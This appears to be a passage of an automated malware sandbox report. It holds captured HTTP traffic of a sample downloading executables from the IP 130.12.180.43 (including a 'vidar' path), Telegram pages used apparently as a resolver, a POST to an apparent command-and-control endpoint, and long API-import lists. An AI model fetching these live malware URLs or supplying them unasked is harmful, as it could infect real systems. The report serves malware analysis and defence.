OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:39:58 GMT Content-Type: application/octet-stream Content-Length: 2607104 Last-Modified: Wed 28 Jan 2026 11:11:34 GMT Connection: keep-alive ETag: "6979eee6-27c800" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:40:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12294 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET /files/5900855435/eNLe4nm.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:40:04 GMT Content-Type: application/octet-stream Content-Length: 174080 Last-Modified: Sat 31 Jan 2026 07:00:01 GMT Connection: keep-alive ETag: "697da871-2a800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /files/rdx/random.exe HTTP/1.1 Host: 130.12.180.43 If-Modified-Since: Sun, 01 Feb 2026 00:59:01 GMT If-None-Match: "697ea555-2a800"" Response ==> HTTP/1.1 304 Not Modified Server: nginx/1.26.3 (Ubuntu) Date: Sun 01 Feb 2026 01:40:43 GMT Last-Modified: Sun 01 Feb 2026 00:59:01 GMT Connection: keep-alive ETag: "697ea555-2a800" with no response body "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun 01 Feb 2026 01:41:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: uyu.deshsaradin.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Date: Sun 01 Feb 2026 01:41:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=11 cfOrigin;dur=1154 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DYEvpyUivgx0pL1SEwStpoRIy3MEEWKZ%2FwOB2qMr7EF57uinvGYYAUFCyKSVhwsdCZoghaoKimAAL1LGXNIBzN6oKU5eF7zLw3hA6D8u4RBCXu0%3D"}]} CF-RAY: 9c6dbebf78bafa8e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6F6B.......67:T424e,"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "http://crl.micro/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "https://t.me/ho00rq" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "http://wwk/2000/svg" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=qcvfkc1xa2uceyawf6e0ocngpz7l4jryh2znt%2ff5vrcykrc%2fq4lztnsozhb0ziifvxy1ynkwimrprsuutcbktimevezlbptwkwmicdylw05dfo4%3d" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp")8a:T88c,Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "POST /di9ku38f/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "GET /files/7782139129/jC9EsXW.exe HTTP/1.1,7c" (Indicator: "HTTP/1.1"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "Host130.12.180.43GET /files/7782139129/jC9EsXW.exe HTTP/1.1/files/7782139129/jC9EsXW.exe" (Indicator: "HTTP/1.1"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "HTTP/1.1H" (Indicator: "HTTP/1.1"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "GET /ho00rq HTTP/1.1Sm" (Indicator: "HTTP/1.1"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "HTTP/1.1H" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "GET /ho00rq HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0GET /ho00rq HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "Content-Length254POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp")8b:T6b6,GET /files/7782139129/jC9EsXW.exe HTTP/1.1 GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /files/rdx/random.exe HTTP/1.1 GET / HTTP/1.1 Host: uyu.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /test/random.exe HTTP/1.1 GET /vidar/random.exe HTTP/1.1 GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453 GET /files/6608710704/QWKgBhv.exe HTTP/1.1 GET /files/8434554557/QKTi8Lo.exe HTTP/1.1 GET /files/mrx/random.exe HTTP/1.1 GET /files/8451971749/Wfo8KJM.exe HTTP/1.1 GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=84c8e08a82e703a807_7925390651455494453 GET /files/7453936223/5GFpJxh.exe HTTP/1.1 GET /files/6691015685/bEKVmef.exe HTTP/1.1 GET /files/5900855435/eNLe4nm.exe HTTP/1.1 GET /files/rdx/random.exe HTTP/1.1 Host: 130.12.180.43 If-Modified-Since: Sun 01 Feb 2026 00:59:01 GMT If-None-Match: "697ea555-2a800" GET / HTTP/1.1 Host: uyu.deshsaradin.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 8c:T5bd,Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: 011e5dec2e.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: 011e5dec2e.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: 011e5dec2e.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: 011e5dec2e.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: 011e5dec2e.tmp] Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: jC9EsXW.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: jC9EsXW.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: jC9EsXW.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: jC9EsXW.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: jC9EsXW.tmp]8d:T5be,Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; File: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; File: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp")8e:Tc2f,Found registry query API: "RegQueryValueExA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegOpenKeyExA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegQueryInfoKeyA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegOpenKeyExW" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegQueryValueExW" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegEnumKeyExA" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegEnumValueA" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegGetValueW" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegEnumKeyExW" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry query API: "RegQueryValueW" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegOpenKeyA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegQueryInfoKeyW" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegGetValueA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegEnumValueW" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry query API: "RegEnumValueA" in "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp" Found registry query API: "RegGetValueA" in "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp" Found registry query API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry query API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp" Found registry query API: "RegGetValueA" in "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp"8f:T94d,"" (Indicator: "GetDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp")93:T4c6,Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")94:Tc30,Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")95:Te46,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp")96:Tb40,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")97:T56f,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetProcAddress()" (Indicator: "GetProcAddress"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetProcAddress() 4" (Indicator: "GetProcAddress"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")98:T1028,Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: 